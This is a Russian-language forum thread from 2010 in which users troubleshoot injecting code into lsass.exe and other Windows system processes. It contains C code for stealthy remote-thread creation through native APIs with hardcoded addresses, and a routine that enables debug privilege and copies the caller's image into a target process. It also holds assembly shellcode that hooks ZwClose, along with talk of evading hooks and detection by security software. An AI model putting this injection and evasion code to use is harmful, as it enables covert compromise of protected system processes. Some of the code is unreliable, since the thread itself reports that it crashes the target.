Инжект в системный процесс

Тема в разделе "WASM.WIN32", создана пользователем 984259h, 27 май 2010.

  1. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    Проблема такая
    Есть инжект с когда пытаюсь залезть а процесс lsass.exe (или прочии системные) система пишет что через минуту будет перезагружена
    Естественно использую не стандартную CreateRemoteThread (так как бы все закончилось error code = 0x00000008)
    Все это происходит когда откомпилил в релизе ))
    Но как только с++ отладчиком (в дебажном режиме ) пошагово выполняю код инжектируется на ура
    В чет может быть проблема ?
     
  2. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    Да и процесс стразу падает ...
     
  3. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.317
    какой код инжектируется? проблема в инжектируемом коде)))

    какой метод используется? если палитесь, пишите в лс)))
     
  4. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Проблема в том, что твой код падает в исключение.
    ну либо код в студию с подробностями исключения, либо даже не знаю
     
  5. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    вот только заметил что проблема ( не релизе\дебаге ) вообщем вопрос менят угол перед инжектом гружу дров к которому обращаюсь из
    за этого происходит падения процесса только что испытывал без дрова все OK
    Rel
    нет не в коде в происходит след. по PEB нахожу базу после это по хешам нахожу адреса функций и так далее ... дело не втом
     
  6. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.317
    такой нечитабельный текст... запятые - не зло...
     
  7. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    Можно поподробнее ???
     
  8. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    код не мой и имеет форму следующего вида :
    Код (Text):
    1. void GetNTProcAddress(void)
    2. {
    3.    HMODULE hNtDll           = GetModuleHandleW(L"ntdll.dll");
    4.    pNtAllocateVirtualMemory = (PNTALLOCATEVIRTUALMEMORY ) GetProcAddress(hNtDll,"NtAllocateVirtualMemory");
    5.    pNtWriteVirtualMemory    = (PNTWRITEVIRTUALMEMORY    ) GetProcAddress(hNtDll,"NtWriteVirtualMemory");
    6.    pNtProtectVirtualMemory  = (PNTPROTECTVIRTUALMEMORY  ) GetProcAddress(hNtDll,"NtProtectVirtualMemory");
    7.    pNtGetContextThread      = (PNTGETCONTEXTTHREAD      ) GetProcAddress(hNtDll,"NtGetContextThread");
    8.    pNtCreateThread          = (PNTCREATETHREAD          ) GetProcAddress(hNtDll,"NtCreateThread");
    9.    pNtResumeThread          = (PNTRESUMETHREAD          ) GetProcAddress(hNtDll,"NtResumeThread");
    10.  return;
    11. }
    12.  
    13. //==[ Modificated CreateRemoteThread ]== ====================================================================================================================
    14. HANDLE WINAPI MyCreateRemoteThread( HANDLE hProcess,
    15.                                      LPSECURITY_ATTRIBUTES lpThreadAttributes,
    16.                                      SIZE_T dwStackSize,
    17.                                      LPTHREAD_START_ROUTINE lpStartAddress,
    18.                                      LPVOID lpParameter,
    19.                                      DWORD dwCreationFlags,
    20.                                      LPDWORD lpThreadId)
    21. {
    22.    GetNTProcAddress();
    23.    const CHAR myBaseThreadInitThunk[] =
    24.    { '\x8B','\xFF',     //    00830000     8BFF             mov      edi,  edi
    25.      '\x55',            //    00830002     55               push     ebp
    26.      '\x8B','\xEC',     //    00830003     8BEC             mov      ebp,  esp
    27.      '\x51',            //    00830005     51               push     ecx         // ntdll.RtlExitUserThread
    28.      '\x53',            //    00830006     53               push     ebx    
    29.      '\xFF','\xD0',     //    00830007     FFD0             call     eax    
    30.      '\x59',            //    00830009     59               pop      ecx        
    31.      '\x50',            //    0083000A     50               push     eax
    32.      '\xFF','\xD1',     //    0083000B     FFD1             call     ecx         //RtlExitUserThread
    33.      '\x90' };          //    0083000D     90               nop
    34.    HANDLE hThread = NULL;
    35.    DWORD StackReserve = 0x1000;
    36.    PVOID   pBaseThreadThunk = NULL;
    37.    if (pNtAllocateVirtualMemory(hProcess,(PVOID*)&pBaseThreadThunk, 0, &StackReserve,MEM_COMMIT, PAGE_EXECUTE_READWRITE) < 0x80000000)
    38.    {
    39.        ULONG x;
    40.        if(pNtWriteVirtualMemory(hProcess, pBaseThreadThunk, (LPVOID)myBaseThreadInitThunk, sizeof(myBaseThreadInitThunk),&x) < 0x80000000)
    41.        {
    42.            CLIENT_ID cid;
    43.            cid.UniqueProcess = hProcess;
    44.            StackReserve = 0x10000;
    45.            ULONG_PTR Stack = 0;
    46.            if( pNtAllocateVirtualMemory(hProcess,(PVOID*)&Stack, 0, &StackReserve,MEM_RESERVE, PAGE_READWRITE) < 0x80000000)
    47.            {
    48.                INITIAL_TEB InitialTeb;
    49.                InitialTeb.StackAllocationBase = (PVOID)Stack;
    50.                InitialTeb.StackBase = (PVOID)(Stack + StackReserve);
    51.                // Update the Stack Position
    52.                 DWORD StackCommit = 0x1000;
    53.                Stack += StackReserve - StackCommit;
    54.                Stack -= 0x1000;
    55.                StackCommit += 0x1000;
    56.                // Allocate memory for the stack
    57.                if(pNtAllocateVirtualMemory(hProcess,(PVOID*)&Stack, 0, &StackCommit, MEM_COMMIT, PAGE_READWRITE) < 0x80000000)
    58.                {
    59.                   InitialTeb.StackLimit = (PVOID)Stack;
    60.                   StackReserve = 0x1000;
    61.                  if(pNtProtectVirtualMemory(hProcess, (PVOID*)&Stack, &StackReserve, PAGE_READWRITE | PAGE_GUARD, &x) < 0x80000000)
    62.                  {  
    63.                      // Update the Stack Limit keeping in mind the Guard Page
    64.                      InitialTeb.StackLimit = (PVOID)((ULONG_PTR)InitialTeb.StackLimit - 0x1000);
    65.                      CONTEXT context = {CONTEXT_FULL};
    66.                      if (pNtGetContextThread(GetCurrentThread(),&context) < 0x80000000)
    67.                      {
    68.  
    69.                         context.Esp = (ULONG)InitialTeb.StackBase;
    70.                         context.Eip = (ULONG)pBaseThreadThunk;
    71.                         context.Ebx = (ULONG)lpParameter;
    72.                         //other init
    73.                         //must
    74.                         context.Eax = (ULONG)lpStartAddress;
    75.                         context.Ecx = 0x778B0859; // -->  win7  
    76.                                      //0x77AEEC01;    -->  vista  --> ntdll.RtlExitUserThread
    77.                         context.Edx = 0x00000000;
    78.                         if (pNtCreateThread(&hThread, THREAD_ALL_ACCESS, 0, hProcess, &cid, &context, (PUSER_STACK)&InitialTeb, TRUE) < 0x80000000)
    79.                         {
    80.                           if(lpThreadId)
    81.                           {
    82.                             *lpThreadId = (DWORD)cid.UniqueThread;
    83.                           }
    84.                           if (!(dwCreationFlags & CREATE_SUSPENDED))
    85.                           {
    86.                             pNtResumeThread(hThread, NULL);
    87.                           }
    88.                         }
    89.                      }
    90.                  }
    91.                }
    92.            }
    93.        }
    94.    }
    95.  return hThread;
    96. }
     
  9. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Что мешает юзать просто RtlCreateUserThread ?
     
  10. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    984259h
    Ну код кривой вот и падает, система завершает работу. Ничего не обычного не вижу.
    Не естественно. Нормально так отрабатывает без ошибок. Поиск заюзайте для начала. Зачем разбирать одно и тоже десятки/сотни раз, если уже описано.
     
  11. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    Clerk
    В чем кривизна кода ?
     
  12. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    984259h
    А мне откуда знать где у вас ошибки, раз не робит значит кривой. Предположу что отваливается в myBaseThreadInitThunk[].
     
  13. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    чудесно, а как эта функция вызывается и с какой потоковой ф-ей? где-то у тебя потоковая ф-я падает, подробностей ты не пишешь, что ж ты хочешь?
    цепляйся к процессу, например, виндбгшкой и давай лог
     
  14. ilja_

    ilja_ New Member

    Публикаций:
    0
    Регистрация:
    27 май 2010
    Сообщения:
    33
    Это кстати плохая идея, система не будет знать об этом потоке, процессы создавать из него не получится, да и вобще сам метод инжекта думаю не стабильный, заметил хардкоды, если не хотите использовать CreateRemoteThread, используйте ZwQueueApcThread, реализация будет другая слегка, но зато видел пример в разделе исходники, от dead_body.
    Хотя по мне так большой разницы нет - если вы для инжекта используйте NtWriteVirtualMemory и при этом не снимая хуки защит из р0, то инжект в любом случае обнаружат(конечно не все)( Если конечно это та причина по которой вы не хотите использовать CreateRemoteThread ).
     
  15. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    ilja_
    Что значит система не будет знать про поток ?
    Она ведь их планирует. Не понятно %. Нужна "самостоятельная" реализация - так в сурцах виндоз посмотрите реализацию.
    Да и есть способы писать в ап без NtWriteVirtualMemory - а нафиг она нужна, если есть NtMapViewOfSection(+ NtFreeVirtualMemory) ?
     
  16. ziral2088

    ziral2088 New Member

    Публикаций:
    0
    Регистрация:
    16 авг 2009
    Сообщения:
    283
    ilja_
    Раз вспомнил такие древние сорцы, то вот исходники из архива следующей версии того, что юзал dead_body.
    Пример того что RtlCreateUserThread успешно выполняет свои функции, правда код без комментариев, автор видно не любил коментить. )

    Код (Text):
    1. align 4
    2. proc ETCIRP.CreateShellcode_x86.Wrapper
    3.  
    4.     GetDeltaInto ebx
    5.     lea  edi  , [.data + delta]
    6.  
    7.     mov  eax  , [edi + ETCIRP_WRAPPER_X86.pZwClose]
    8.     lea  ecx  , [edi + ETCIRP_WRAPPER_X86.lpProtectAddress]
    9.     mov [ecx] , eax
    10.     lea  edx  , [edi + ETCIRP_WRAPPER_X86.dwProtectSize]
    11.     mov dword [edx] , 5
    12.     lea  eax , [edi + ETCIRP_WRAPPER_X86.dwPageOldProtect]
    13.     stdcall [edi + ETCIRP_WRAPPER_X86.pZwProtectVirtualMemory] , NtCurrentProcess , ecx , edx , PAGE_EXECUTE_READWRITE , eax
    14.     test eax ,  eax
    15.     jnz .ret
    16.  
    17.     mov  eax  , [edi + ETCIRP_WRAPPER_X86.pZwClose]
    18.     lea  edx  , [edi + ETCIRP_WRAPPER_X86.OldZwClose5bytes]
    19.     mov  ecx  , [eax]
    20.     mov [edx] ,  ecx
    21.     mov    cl , [eax + 4]
    22.     mov [edx + 4] , cl
    23.  
    24.     lea  edx  , [.ZwClose.Handler + delta]
    25.     sub  edx  ,  eax
    26.     sub  edx  ,  5
    27.     mov   cl  , 0E8h                                   ;call
    28.     lock xchg [eax] , cl
    29.     lock xchg [eax + 1] , edx
    30.  
    31.     lea  eax  , [.dqTimeToSleep + delta]
    32.     stdcall [edi + ETCIRP_WRAPPER_X86.pZwDelayExecution] , 0 , eax
    33. .ret:
    34.     stdcall [edi + ETCIRP_WRAPPER_X86.pRtlExitUserThread] , eax
    35. .ZwClose.Handler:
    36.     pushad
    37.     GetDeltaInto ebx
    38.     lea  edi  , [.data + delta]
    39.     lea  edx  , [edi + ETCIRP_WRAPPER_X86.OldZwClose5bytes]
    40.     mov  eax  , [edi + ETCIRP_WRAPPER_X86.pZwClose]
    41.     mov  ecx  , [edx]
    42.     mov   dl  , [edx + 4]
    43.     lock xchg [eax + 4] , dl
    44.     lock xchg [eax] , ecx
    45.     mov  eax  , [edi + ETCIRP_WRAPPER_X86.dwPageOldProtect]
    46.     lea  ecx  , [edi + ETCIRP_WRAPPER_X86.lpProtectAddress]
    47.     lea  edx  , [edi + ETCIRP_WRAPPER_X86.dwProtectSize]
    48.     push eax
    49.     stdcall [edi + ETCIRP_WRAPPER_X86.pZwProtectVirtualMemory] , NtCurrentProcess , ecx , edx , eax , esp
    50.     pop  eax
    51.     lea  eax , [edi + sizeof.ETCIRP_WRAPPER_X86]
    52.     push eax
    53.     stdcall [edi + ETCIRP_WRAPPER_X86.pCreateThread] , NULL , 0 , eax , NULL , 0 , esp
    54.     pop  edx
    55.     test eax , eax
    56.     jz    @F
    57.     stdcall [edi + ETCIRP_WRAPPER_X86.pZwClose] , eax
    58. @@: popad
    59.     sub dword [esp] , 5
    60.     retn
    61. align 4
    62. .dqTimeToSleep    dq 0FFFFFFFFEE1E5D00h
    63. endp
    64. align 4
    65. ETCIRP.CreateShellcode_x86.Wrapper.size = $ - ETCIRP.CreateShellcode_x86.Wrapper
    66. ETCIRP.CreateShellcode_x86.Wrapper.data:
     
  17. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    ilja_
    А кто говорил что я юзаю прохуканые процы хуки снять не проблема ..... куда чуть посложнее нотификаторами да й там свои приколы...
    тут проблема в другом...
     
  18. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    А кто сказал что она плохо выполняет? Это надстройка (как и все Rtl - это вспомогательная функа) над NtCreateThread, просто она сама решает задачи по настройке стека и контекста, которые автор топика расписал непонятно зачем в посте #8.
     
  19. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    RET
    Вот сделал с RtlCreateUserThread ситуация аналогична (процесс падает )
    Код (Text):
    1. BOOL NativeInjectProcess(DWORD ( WINAPI *pFunction )( LPVOID ),char *szProcessName)
    2. {
    3.   BOOL bRet = FALSE;
    4.  
    5.   CLIENT_ID C_ID;
    6.   C_ID.UniqueProcess = (HANDLE)GetProcessID(szProcessName);
    7.   C_ID.UniqueThread = NULL;
    8.   OBJECT_ATTRIBUTES ObjectAttributes;
    9.   InitializeObjectAttributes(&ObjectAttributes,NULL,0,NULL,NULL);
    10.   BOOLEAN bPrivilegeEnable = TRUE;
    11.   NTSTATUS NtStatus = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE,TRUE,FALSE,&bPrivilegeEnable);
    12.   if (NT_SUCCESS(NtStatus))
    13.   {
    14.      HANDLE hProcess = NULL;
    15.      NtStatus = NtOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&ObjectAttributes,&C_ID);
    16.      if (NT_SUCCESS(NtStatus))
    17.      {
    18.          HANDLE hModule = GetModuleHandleA(NULL);        
    19.          DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(hModule)+
    20.                         ((PIMAGE_DOS_HEADER)(hModule))->e_lfanew +
    21.                         sizeof(DWORD)+
    22.                         sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
    23.          PVOID pBuffer = NULL;
    24.          NtStatus = NtAllocateVirtualMemory(hProcess,&pBuffer,0,&dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    25.          if (NT_SUCCESS(NtStatus))
    26.          {
    27.             NtStatus = NtWriteVirtualMemory(hProcess,pBuffer,pBuffer,dwSize,0);
    28.             if (NT_SUCCESS(NtStatus))
    29.             {
    30.                HANDLE hRemoteThread = NULL;
    31.                NtStatus = RtlCreateUserThread(hProcess,NULL,FALSE,0,NULL,NULL,pFunction,NULL,&hRemoteThread,0);
    32.                if (NT_SUCCESS(NtStatus))
    33.                {
    34.                  if (hRemoteThread != NULL)
    35.                  {
    36.                    //NtClose(hRemoteThread);
    37.                    bRet = TRUE;
    38.                  }
    39.                }
    40.             }
    41.          }
    42.       }
    43.       NtClose(hProcess);
    44.   }
    45.   return bRet;
    46. }
     
  20. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.564
    Адрес:
    Russia
    984259h
    Вам Great уже подсказал приаттачиться к процессу перед инжектом и посмотреть что с ним произойдет, где сработает экзепшен. Так выж до сих пор еще этого не сделали... Что тут говорить... Вам лень чтоли?